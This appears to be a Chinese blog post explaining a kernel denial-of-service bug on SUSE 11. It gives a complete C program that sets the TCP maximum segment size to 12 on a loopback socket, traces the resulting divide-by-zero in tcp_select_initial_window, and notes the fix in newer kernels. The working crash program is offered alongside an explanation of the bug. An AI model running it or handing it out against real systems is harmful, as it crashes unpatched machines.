最近一直在忙公司的事情,一直都没时间过来更新。今天给大家分享一个suse 11下dos实现的原理分析:
先看一下dos的代码
- /*
- * Copyright (C) 2012-2012 Hisense Media Networks Holding Limited
- *
- * 2012-08-07 13:39:02
- * Version: not
- * Author:
- * Tony <liutingwei@hisense.com> <tingw.liu@gmail.com>
- */
- #include <stdio.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <net/if.h>
- #include <arpa/inet.h>
- #include <netinet/tcp.h>
- int main()
- {
- struct sockaddr_in laddr;
- int listener, panic, val;
- val = 12;
- memset(&laddr, 0, sizeof(laddr));
- laddr.sin_family = AF_INET;
- laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
- laddr.sin_port = htons(12345);
- listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (listener < 0) {
- printf("[-] Could not open listener.\n");
- return -1;
- }
- if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
- printf("[-] Could not set sockopt.\n");
- return -1;
- }
- if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
- printf("[-] Could not bind to address.\n");
- return -1;
- }
- if (listen(listener, 1) < 0) {
- printf("[-] Could not listen.\n");
- return -1;
- }
- panic = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (panic < 0) {
- printf("[-] Could not open connector.\n");
- return -1;
- }
- if (connect(panic, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
- printf("[-] Could not connect to listener.\n");
- return -1;
- }
- printf("[-] Connection did not trigger oops.\n");
- return 0;
- }
gcc 编译代码,运行后你就会发现操作系统down了。。。
Why? 现在我们来看看到底发生了什么。
系统调用设置tcp的最大mss
- setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)
对应的内核代码如下:
- switch (optname) {
- case TCP_MAXSEG:
- /* Values greater than interface MTU won't take effect. However
- * at the point when this call is done we typically don't yet
- * know which interface is going to be used */
- if (val < 8 || val > MAX_TCP_WINDOW) {
- err = -EINVAL;
- break;
- }
- tp->rx_opt.user_mss = val;
- break;
修改了tp->rx_opt.user_mss = 12
当我们调用connect连接服务器的时候,服务器端收到syn会应答一个syn+ack,我们来看看这个函数的实现,这里只列出我们关心的前面部分
- struct sk_buff *tcp_make_synack(struct sock *sk, struct dst_entry *dst,
- struct request_sock *req)
- {
- struct inet_request_sock *ireq = inet_rsk(req);
- struct tcp_sock *tp = tcp_sk(sk);
- struct tcphdr *th;
- int tcp_header_size;
- struct tcp_out_options opts;
- struct sk_buff *skb;
- struct tcp_md5sig_key *md5;
- __u8 *md5_hash_location;
- int mss;
- skb = sock_wmalloc(sk, MAX_TCP_HEADER + 15, 1,
- sk_allocation(sk, GFP_ATOMIC));
- if (skb == NULL)
- return NULL;
- /* Reserve space for headers. */
- skb_reserve(skb, MAX_TCP_HEADER);
- skb_dst_set(skb, dst_clone(dst));
- mss = dst_metric(dst, RTAX_ADVMSS);
- if (tp->rx_opt.user_mss && tp->rx_opt.user_mss < mss)
- mss = tp->rx_opt.user_mss;
- if (req->rcv_wnd == 0) { /* ignored for retransmitted syns */
- __u8 rcv_wscale;
- /* Set this up on the first call only */
- req->window_clamp = tp->window_clamp ? : dst_metric(dst, RTAX_WINDOW);
- /* tcp_full_space because it is guaranteed to be the first packet */
- tcp_select_initial_window(tcp_full_space(sk),
- mss - (ireq->tstamp_ok ? TCPOLEN_TSTAMP_ALIGNED : 0),
- &req->rcv_wnd,
- &req->window_clamp,
- ireq->wscale_ok,
- &rcv_wscale);
- ireq->rcv_wscale = rcv_wscale;
- }
第23-25行,确定了最大mss,由于我们设置了user_mss=12,要小于(MTU-header),所以mss=12
第32行,调用函数tcp_select_initial_window初始化tcp初始窗口大小,我们看看传入的第二个参数
mss = 12, TCPOLEN_TSTAMP_ALIGEND = 12,所以我们传给函数的第二个参数是0.接下来我们看看该函数的实现:
- void tcp_select_initial_window(int __space, __u32 mss,
- __u32 *rcv_wnd, __u32 *window_clamp,
- int wscale_ok, __u8 *rcv_wscale)
- {
- unsigned int space = (__space < 0 ? 0 : __space);
- /* If no clamp set the clamp to the max possible scaled window */
- if (*window_clamp == 0)
- (*window_clamp) = (65535 << 14);
- space = min(*window_clamp, space);
- /* Quantize space offering to a multiple of mss if possible. */
- if (space > mss)
- space = (space / mss) * mss;
注意第14行,有一个除mss的动作,而我们传入的参数是0,所以该处会因为除0而oops。又由于该部分代码的执行在网络软中断中,所以一旦oops,操作系统就会hang了
最新的内核代码已经对此处进行了改动,可设置的最小MSS=(60+60+8)-(20+20)=88。
阅读(3206) | 评论(0) | 转发(1) |